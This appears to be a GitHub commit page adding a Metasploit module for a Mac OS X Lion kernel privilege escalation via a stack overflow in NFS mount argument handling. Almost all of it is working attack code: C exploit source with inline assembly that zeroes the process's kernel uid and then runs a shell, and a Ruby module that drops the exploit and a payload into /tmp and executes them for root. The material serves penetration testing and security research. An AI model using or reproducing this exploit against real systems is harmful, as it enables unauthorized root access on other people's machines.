Skip to content

Commit 143aede

Browse files
committed
Add osx nfs_mount module.
1 parent 57aa1ee commit 143aede

File tree

3 files changed

+258
-0
lines changed

3 files changed

+258
-0
lines changed
9.14 KB
Binary file not shown.
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
/*
2+
* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
3+
* CVE None
4+
* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
5+
*
6+
*
7+
* Notes:
8+
* This exploit leverage a stack overflow vulnerability to escalate privileges.
9+
* The vulnerable function nfs_convert_old_nfs_args does not verify the size
10+
* of a user-provided argument before copying it to the stack. As a result by
11+
* passing a large size, a local user can overwrite the stack with arbitrary
12+
* content.
13+
*
14+
* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
15+
* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
16+
*
17+
* Greets to taviso, spender, joberheide
18+
*/
19+
20+
#include <stdio.h>
21+
#include <stdlib.h>
22+
#include <strings.h>
23+
#include <errno.h>
24+
#include <sys/mman.h>
25+
#include <sys/mount.h>
26+
#include <sys/param.h>
27+
#include <sys/stat.h>
28+
#include <sys/types.h>
29+
#include <unistd.h>
30+
31+
/** change these to fit your environment if needed **/
32+
#define SSIZE (536)
33+
34+
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
35+
struct user_nfs_args {
36+
int version; /* args structure version number */
37+
char* addr __attribute__((aligned(8))); /* file server address */
38+
int addrlen; /* length of address */
39+
int sotype; /* Socket type */
40+
int proto; /* and Protocol */
41+
char * fh __attribute__((aligned(8))); /* File handle to be mounted */
42+
int fhsize; /* Size, in bytes, of fh */
43+
int flags; /* flags */
44+
int wsize; /* write size in bytes */
45+
int rsize; /* read size in bytes */
46+
int readdirsize; /* readdir size in bytes */
47+
int timeo; /* initial timeout in .1 secs */
48+
int retrans; /* times to retry send */
49+
int maxgrouplist; /* Max. size of group list */
50+
int readahead; /* # of blocks to readahead */
51+
int leaseterm; /* obsolete: Term (sec) of lease */
52+
int deadthresh; /* obsolete: Retrans threshold */
53+
char* hostname __attribute__((aligned(8))); /* server's name */
54+
/* NFS_ARGSVERSION 3 ends here */
55+
int acregmin; /* reg file min attr cache timeout */
56+
int acregmax; /* reg file max attr cache timeout */
57+
int acdirmin; /* dir min attr cache timeout */
58+
int acdirmax; /* dir max attr cache timeout */
59+
/* NFS_ARGSVERSION 4 ends here */
60+
uint auth; /* security mechanism flavor */
61+
/* NFS_ARGSVERSION 5 ends here */
62+
uint deadtimeout; /* secs until unresponsive mount considered dead */
63+
};
64+
65+
/** sets the uid for the current process and safely exits from the kernel**/
66+
static void r00t_me() {
67+
asm(
68+
// padding
69+
"nop; nop; nop; nop;"
70+
71+
// task_t %rax = current_task()
72+
"movq %%gs:0x00000008, %%rax;"
73+
"movq 0x00000348(%%rax), %%rax;"
74+
75+
// proc %rax = get_bsdtask_info()
76+
"movq 0x000002d8(%%rax),%%rax;"
77+
78+
// ucred location at proc
79+
"movq 0x000000d0(%%rax),%%rax;"
80+
81+
// uid = 0
82+
"xorl %%edi, %%edi;"
83+
"movl %%edi, 0x0000001c(%%rax);"
84+
"movl %%edi, 0x00000020(%%rax);"
85+
86+
// fix the stack pointer and return (EACCES)
87+
"movq $13, %%rax;"
88+
"addq $0x00000308,%%rsp;"
89+
"popq %%rbx;"
90+
"popq %%r12;"
91+
"popq %%r13;"
92+
"popq %%r14;"
93+
"popq %%r15;"
94+
"popq %%rbp;"
95+
"ret;"
96+
:::"%rax"
97+
);
98+
}
99+
100+
int main(int argc, char ** argv) {
101+
struct user_nfs_args xdrbuf;
102+
char * path;
103+
char obuf[SSIZE];
104+
105+
106+
/** clear the arguments **/
107+
memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
108+
memset(obuf, 0x00, SSIZE);
109+
110+
/** set up variable to get path to vulnerable code **/
111+
xdrbuf.version = 3;
112+
xdrbuf.hostname = "localhost";
113+
xdrbuf.addrlen = SSIZE;
114+
xdrbuf.addr = obuf;
115+
116+
/** set ret address **/
117+
*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
118+
printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
119+
120+
/** create a unique tmp name **/
121+
if ((path = tmpnam(NULL)) == NULL) {
122+
// path can be any directory which we have read/write/exec access
123+
// but I'd much rather create one instead of searching for one
124+
perror("[-] tmpnam");
125+
exit(EXIT_FAILURE);
126+
}
127+
128+
/** make the path in tmp so that we can use it **/
129+
if (mkdir(path, 0660) < 0) {
130+
perror("[-] mkdir");
131+
exit(EXIT_FAILURE);
132+
}
133+
134+
/** inform the user that the path was created **/
135+
printf("[*] created sploit path%s\n", path);
136+
137+
/** call the vulnerable function **/
138+
if (mount("nfs", path, 0, &xdrbuf) < 0) {
139+
if (errno == EACCES) {
140+
puts("[+] escalating privileges...");
141+
} else {
142+
perror("[-] mount");
143+
}
144+
145+
}
146+
147+
/** clean up tmp dir **/
148+
if (rmdir(path) < 0) {
149+
perror("[-] rmdir");
150+
}
151+
152+
/** check if privs are equal to root **/
153+
if (getuid() != 0) {
154+
puts("[-] priviledge escalation failed");
155+
exit(EXIT_FAILURE);
156+
}
157+
158+
/** get root shell **/
159+
printf("[+] We are now uid=%i ... your welcome!\n", getuid());
160+
printf("[+] Dropping a shell.\n");
161+
162+
/** execute **/
163+
execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);
164+
return 0;
165+
}
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
9+
class Metasploit3 < Msf::Exploit::Local
10+
Rank = NormalRanking
11+
12+
include Msf::Post::File
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
19+
'Description' => %q{
20+
This exploit leverage a stack overflow vulnerability to escalate privileges.
21+
The vulnerable function nfs_convert_old_nfs_args does not verify the size
22+
of a user-provided argument before copying it to the stack. As a result by
23+
passing a large size, a local user can overwrite the stack with arbitrary
24+
content.
25+
26+
Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Kenzley Alphonse', # discovery and a very well-written exploit
32+
'joev' # msf module
33+
],
34+
'References' =>
35+
[
36+
[ 'EDB', '32813' ]
37+
],
38+
'Platform' => 'osx',
39+
'Arch' => [ ARCH_X86_64 ],
40+
'SessionTypes' => [ 'shell', 'meterpreter' ],
41+
'Targets' => [
42+
[ 'Mac OS X 10.7 Lion x64 (Native Payload)',
43+
{
44+
'Platform' => 'osx',
45+
'Arch' => ARCH_X86_64
46+
}
47+
]
48+
],
49+
'DefaultTarget' => 0,
50+
'DisclosureDate' => 'Apr 11 2014'
51+
))
52+
end
53+
54+
def check
55+
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
56+
Exploit::CheckCode::Vulnerable
57+
else
58+
Exploit::CheckCode::Safe
59+
end
60+
end
61+
62+
def exploit
63+
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
64+
file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
65+
exploit = File.read(file)
66+
pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
67+
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
68+
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
69+
70+
print_status "Writing temp file... #{tmpfile}"
71+
write_file(tmpfile, exploit)
72+
register_file_for_cleanup(tmpfile)
73+
74+
print_status "Writing payload file... #{payloadfile}"
75+
write_file(payloadfile, pload)
76+
register_file_for_cleanup(payloadfile)
77+
78+
print_status "Executing payload..."
79+
cmd_exec("chmod +x #{tmpfile}")
80+
cmd_exec("chmod +x #{payloadfile}")
81+
cmd_exec("#{tmpfile} #{payloadfile}")
82+
end
83+
84+
def xnu_ver
85+
m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
86+
m && m[1]
87+
end
88+
89+
def ver_lt(a, b)
90+
Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
91+
end
92+
93+
end

0 commit comments

Comments
 (0)